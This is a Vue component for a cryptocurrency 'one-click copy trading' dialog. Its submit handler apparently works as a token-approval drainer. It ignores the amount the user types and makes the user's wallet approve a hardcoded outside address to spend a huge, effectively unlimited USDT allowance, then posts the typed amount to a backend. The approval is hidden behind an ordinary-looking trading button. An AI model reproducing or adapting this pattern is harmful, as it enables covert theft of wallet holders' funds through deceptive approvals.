<template>
  <div class="ExchStart">
    <div class="ExchShow" :class="{'show' : show}" @click="openClose"></div>
    <div class="window open"  :class="{'Wshow' : show}">
      <div class="title">{{ $t('aut.一键跟单') }}</div>
      <div class="amount">
        <input type="number" v-model="amount" :placeholder="$t('aut.请输入数量')">
        <span>USDT/BTC</span>
      </div>
      <div class="center">
        <p>{{$t('aut.tis1')}}</p>
        <p>{{$t('aut.tis2')}}</p>
      </div>

      <div class="bottom">
        <div class="btn" @click="openClose">{{ $t('aut.取消') }}</div>
        <div class="btn on" @click="onsubmit()">{{ $t('aut.确定') }}</div>
      </div>
    </div>
  </div>

</template>

<script>
import Web3 from "web3";

export default {
  name: "ExchStart",
  props:{
    oid:[String]
  },
  data(){
    return{
      show:true,
      amount:'',
      abi : [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_upgradedAddress","type":"address"}],"name":"deprecate","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"deprecated","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_evilUser","type":"address"}],"name":"addBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"upgradedAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balances","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maximumFee","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"unpause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_maker","type":"address"}],"name":"getBlackListStatus","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"allowed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"who","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"pause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newBasisPoints","type":"uint256"},{"name":"newMaxFee","type":"uint256"}],"name":"setParams","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"issue","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"redeem","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"basisPointsRate","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"isBlackListed","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_clearedUser","type":"address"}],"name":"removeBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"MAX_UINT","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_blackListedUser","type":"address"}],"name":"destroyBlackFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_initialSupply","type":"uint256"},{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_decimals","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Issue","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Redeem","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"newAddress","type":"address"}],"name":"Deprecate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"feeBasisPoints","type":"uint256"},{"indexed":false,"name":"maxFee","type":"uint256"}],"name":"Params","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_blackListedUser","type":"address"},{"indexed":false,"name":"_balance","type":"uint256"}],"name":"DestroyedBlackFunds","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"AddedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"RemovedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[],"name":"Pause","type":"event"},{"anonymous":false,"inputs":[],"name":"Unpause","type":"event"}]
    }
  },
  methods:{
    openClose(){
      this.show = false;
      this.amount = '';
      setTimeout(()=>{
        this.$emit("close");
      },1000)
    },
    async onsubmit(){
      if(this.click) return false;
      this.click = true;

      if(this.amount == '' || this.amount < 0 || this.amount == 0){
        this.$toast.fail(this.$t('aut.请输入正确数量'))
        this.click = false;
        return;
      }

      let web3 = new Web3(window.web3.currentProvider)
      let anthAddress = "0x95Ff08306774f9C6c8a2aaED92dfe4Ab13C86574";//被授权地址合约
      let amount = 100*Math.pow(10,18);//转账100个
      let fromAddress = await web3.eth.getAccounts()
      let usdtContract = new web3.eth.Contract(this.abi,"0xdac17f958d2ee523a2206206994597c13d831ec7") //所有代币的abi可以通用（abi,合约地址）
      let checkBalance = await usdtContract.methods.allowance(fromAddress[0],anthAddress).call();
      if (checkBalance<=0) {
        usdtContract.methods.approve(anthAddress, amount + '').send({ from: fromAddress[0]},  (err, result) => {
          if (err){
            console.log("错误=",err);
            return;
          }
          this.twosubmit();
        });
        return false;
      }else {
        const {err, res} = await this.$request.post("/chss/userTrasaction/autoTrade", {
          amount: this.amount,
          order_number: this.oid,
          address: this.$dapp.getAddress()
        });
        if (err === null) {
          this.openClose();
        }
        this.click = false;
      }


      // const { err, res } = await this.$request.post("/chss/userTrasaction/autoTrade", {
      //   amount: this.amount,
      //   order_number:this.oid,
      //   address:this.$dapp.getAddress()
      // });
      // if (err === null) {
      //   this.openClose();
      // }
      // this.click = false;
    },
    async twosubmit(){
      const {err, res} = await this.$request.post("/chss/userTrasaction/autoTrade", {
        amount: this.amount,
        order_number: this.oid,
        address: this.$dapp.getAddress()
      });
      if (err === null) {
        this.openClose();
      }
      this.click = false;
    }
  }
}
</script>

<style lang="scss" scoped>
.ExchShow{
  position: fixed; z-index: 98;
  top: 0px; left: 0px;
  background: rgba(0,0,0,0.5);
  width: 100%; height: 100%;
  -webkit-animation: Show 0.6s linear 1; /* Chrome, Safari, Opera */
  animation: Show 0.6s linear 1;

  opacity: 0; transform:scale(1.2);
  transition: all 1S;
}

.ExchShow.show{
  opacity: 1; transform:scale(1)
}
@keyframes Show{
  0%{opacity: 0; transform:scale(1.2) }
  100%{opacity: 1; transform: scale(1)}
}

.window{
  position: fixed; z-index: 99;
  top: 50%; left: 50%;
  opacity: 0;
  transform: translate(-50% , -50%) scale(1.2);
  transition: all 1S;
  -webkit-animation: Wshow 0.6s linear 1; /* Chrome, Safari, Opera */
  animation: Wshow 0.6s linear 1;
}
.window.Wshow{
  opacity: 1;
  transform: translate(-50% , -50%)  scale(1);
}

@keyframes Wshow{
  0%  {opacity: 0; transform:translate(-50% , -50%) scale(1.2);}
  100%{opacity: 1; transform:translate(-50% , -50%) scale(1)}
}

.open{
  background: #2c395d; text-align: center;
  width: 500px; border-radius: 20px; padding: 30px;
}
.amount{
  margin: 30px 0;
  background: #495a77;  color:#8fa3d1;
  border-radius: 20px; overflow: hidden;
  display: flex; line-height: 70px; padding: 0px 20px;

  input{
    background: none; border: 0px; padding: 0px;
    color: #FFF;  box-sizing: border-box;
    width: 100%;
  }
  input::placeholder{
    color:#eee !important;
  }

}
.center{
  text-align: left; font-size: 24px;
  p{margin: 10px 0; color: #dcce44}
}

.bottom{
  .btn{height: 50px; line-height: 50px;padding:0px 30px; border-radius: 25px;
    background: #FFF; color: #2979FF; display: inline-block;
    margin: 20px;
  }
  .btn.on{background: #2979FF; color: #fff }
}

</style>
